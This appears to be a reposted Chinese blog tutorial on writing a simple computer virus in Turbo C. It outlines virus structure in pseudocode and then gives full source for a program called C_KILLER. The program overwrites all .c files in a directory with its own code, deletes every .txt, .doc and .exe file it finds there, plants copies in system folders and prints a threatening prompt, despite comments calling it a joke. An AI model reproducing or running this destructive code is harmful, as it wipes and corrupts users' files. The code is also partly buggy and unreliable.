【转】用C写一个简单病毒
[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.
[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“
其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
- InfectSection()
- {
- if (infectable_object_found
- &&object_not_already_infect)
- infect_object;
- }
InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}
一个简单的触发机制可能是这样工作的:
- TriggerSection()
- {
- if (date_is_Friday_13th_and_time_is_03:13:13)
- set_trigger_status_to_yes;
- }
TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}
- Executesection()
- {
- if (trigger_statue_is_yes)
- execute_payload;
- }
Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}
最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.
三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.
四 我写的C病毒
<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
下面是我写的病毒.
它主要由四个模块组成.
CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
第四个可以说是它的感染机制.
- /**********************************
- IN FACT,IT"S NOT A VIRYUS AT ALL.
- **********************************/
- #include <io.h>
- #include <dir.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- /* copy outfile to infile */
- void copyfile(char *infile, char *outfile)
- {
- FILE *in,*out;
- in = fopen(infile,"r");
- out = fopen(outfile,"w");
- while (!feof(in))
- {
- fputc(fgetc(in),out);
- }
- fclose(in);
- fclose(out);
- }
- /*
- This function named Rubbishmaker.
- */
- void MakeRubbish()
- {
- int i;
- FILE *fp;
- char *path;
- char *NewName;
- char *disk[7] = {"A","B","C","D","E","F","G"};
- char *addtion = "://";
- /* Make some rubbish at the current catalogue */
- for (i = 0; i<5; i++)
- {
- char tempname[] = "XXXXXX" ;
- NewName = mktemp(tempname);
- fp = fopen(NewName,"w");
- fclose(fp);
- }
- /* make some rubbish at the root catalogue */
- path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
- chdir(path); /*change directory according to the "path" */
- for (i = 0; i<5; i++)
- {
- char tempname[] = "XXXXXX";
- NewName = mktemp(tempname);
- fp = fopen(NewName,"w");
- fclose(fp);
- }
- }
- /*
- This function can creat some .exe or .com documents in the sensitive place.
- Don't worry,It's only a joke.It will do no harm to your computer.
- */
- void CreatEXE()
- {
- int i;
- char *path;
- char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};
- for ( i = 0; i <2; i++)
- {
- open(s[i], 0x0100,0x0080);
- copyfile( "C_KILLER.C",s[i]);
- }
- }
- /* remove something from your computer */
- void Remove()
- {
- int done;
- int i;
- struct ffblk ffblk;
- char *documenttype[3] = {"*.txt","*.doc","*.exe"};
- for (i = 0; i <3; i++)
- {
- done = findfirst(documenttype[i],&ffblk,2);
- while (!done)
- {
- remove(ffblk.ff_name);
- done = findnext(&ffblk);
- }
- }
- }
- /* overlay the c programs */
- void Breed()
- {
- int done;
- struct ffblk ffblk;
- done = findfirst("*.c",&ffblk,2);
- while (!done)
- {
- if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
- {
- copyfile("C_KILLER.C",ffblk.ff_name);
- }
- done = findnext(&ffblk);
- }
- }
- void main()
- {
- printf("THERE IS A VIRUS BY XIAOKE./n/n");
- Breed();
- Remove();
- CreatEXE();
- printf("COULD YOU TELL ME YOUR NAME?/n/n");
- printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
- MakeRubbish();
- getchar();
- printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
- clrscr();
- system("cmd");
- }
【转】用C写一个简单病毒的更多相关文章
- 用Python写一个简单的Web框架
一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...
- 如何写一个简单的http服务器
最近几天用C++写了一个简单的HTTP服务器,作为学习网络编程和Linux环境编程的练手项目,这篇文章记录我在写一个HTTP服务器过程中遇到的问题和学习到的知识. 服务器的源代码放在Github. H ...
- 如何写一个简单的shell
如何写一个简单的shell 看完<UNIX环境高级编程>后我就一直想写一个简单的shell来作为练习,因为有事断断续续的写了好几个月,如今写了差不多来总结一下. 源代码放在了Github: ...
- 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”
这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...
- 一步一步写一个简单通用的makefile(三)
上一篇一步一步写一个简单通用的makefile(二) 里面的makefile 实现对通用的代码进行编译,这一章我将会对上一次的makefile 进行进一步的优化. 优化后的makefile: #Hel ...
- Java写一个简单学生管理系统
其实作为一名Java的程序猿,无论你是初学也好,大神也罢,学生管理系统一直都是一个非常好的例子,初学者主要是用数组.List等等来写出一个简易的学生管理系统,二.牛逼一点的大神则用数据库+swing来 ...
- (2)自己写一个简单的servle容器
自己写一个简单的servlet,能够跑一个简单的servlet,说明一下逻辑. 首先是写一个简单的servlet,这就关联到javax.servlet和javax.servlet.http这两个包的类 ...
- express 写一个简单的web app
之前写过一个简单的web app, 能够完成注册登录,展示列表,CURD 但是版本好像旧了,今天想写一个简单的API 供移动端调用 1.下载最新的node https://nodejs.org/zh- ...
- 写一个简单的C词法分析器
写一个简单的C词法分析器 在写本文过程中,我参考了<词法分析器的实现>中的一些内容.这里我们主要讨论写一个C语言的词法分析器. 一.关键字 首先,C语言中关键字有: auto.break. ...
随机推荐
- scikit-learn一般实例之一:保序回归(Isotonic Regression)
对生成的数据进行保序回归的一个实例.保序回归能在训练数据上发现一个非递减逼近函数的同时最小化均方误差.这样的模型的好处是,它不用假设任何形式的目标函数,(如线性).为了比较,这里用一个线性回归作为参照 ...
- git学习之冲突解决办法
1.如果本地项目和远程服务器的同一文件都有改动,那么就会产生冲突,导致git pull 失败,报错见下. 解决办法:先执行git stash指令,暂存当前的改动状态,再执行git pull指令,就可以 ...
- Using Nuget in Visual Studio 2005 & 2008
NuGet is a Visual Studio extension that makes it easy to install and update third-party libraries an ...
- PetaPoco4.0 实体某个字段不赋值会更新成null解决方案
最新用PetaPoco4.0做项目发现有个需求,就是比如说:在mvc表单中,只显示部分字段,一个表单还有其他状态等字段,没有显示到mvc页面上 但是当MVC收集表单提交更新的时候,会发现会把数据库中的 ...
- Angular2正式版发布,Wijmo抢先支持
Angular2正式版发布 9月15日,Angular 2 的最终版正式发布了.作为 Angular 1 的全平台继任者 -- Angular 2 的最终版,意味着什么? 意味着稳定性已经得到了大范围 ...
- 更换Kali源让你更新更快
在2016.1版本kali-linux(也就是kali滚动更新版)更新慢解决办法: (此源为2.0版本)中科大kali滚动更新版源(即kali2.0源) #kali官方源 deb http://htt ...
- 数据结构:链表(python版)
#!/usr/bin/env python # -*- coding:utf-8 -*- # Author: Minion Xu class LinkedListUnderflow(ValueErro ...
- HashTable(散列表)
最近都在研究数据结构,关于hashtable,或者叫做散列表,过去一直不了解是什么东西,现在终于明白了. 所谓hashtable,就是某组key,通过某个关系(函数),得到一个与之对应的映射值(在计算 ...
- ABP之Javascript生成
还是服务 在调试SimpleTaskSystem的AngularJs demo时,一开始我只看到对服务的应用. app.controller(controllerId, [ '$scope', 'ab ...
- GJM :Unity3d导出eclipse工程,导入Android Studio
unity3d导出eclipse工程,导入Android Studio 标签: unity3Dandroid studio 2016-08-11 10:42 398人阅读 评论(1) 收藏 举报 分类 ...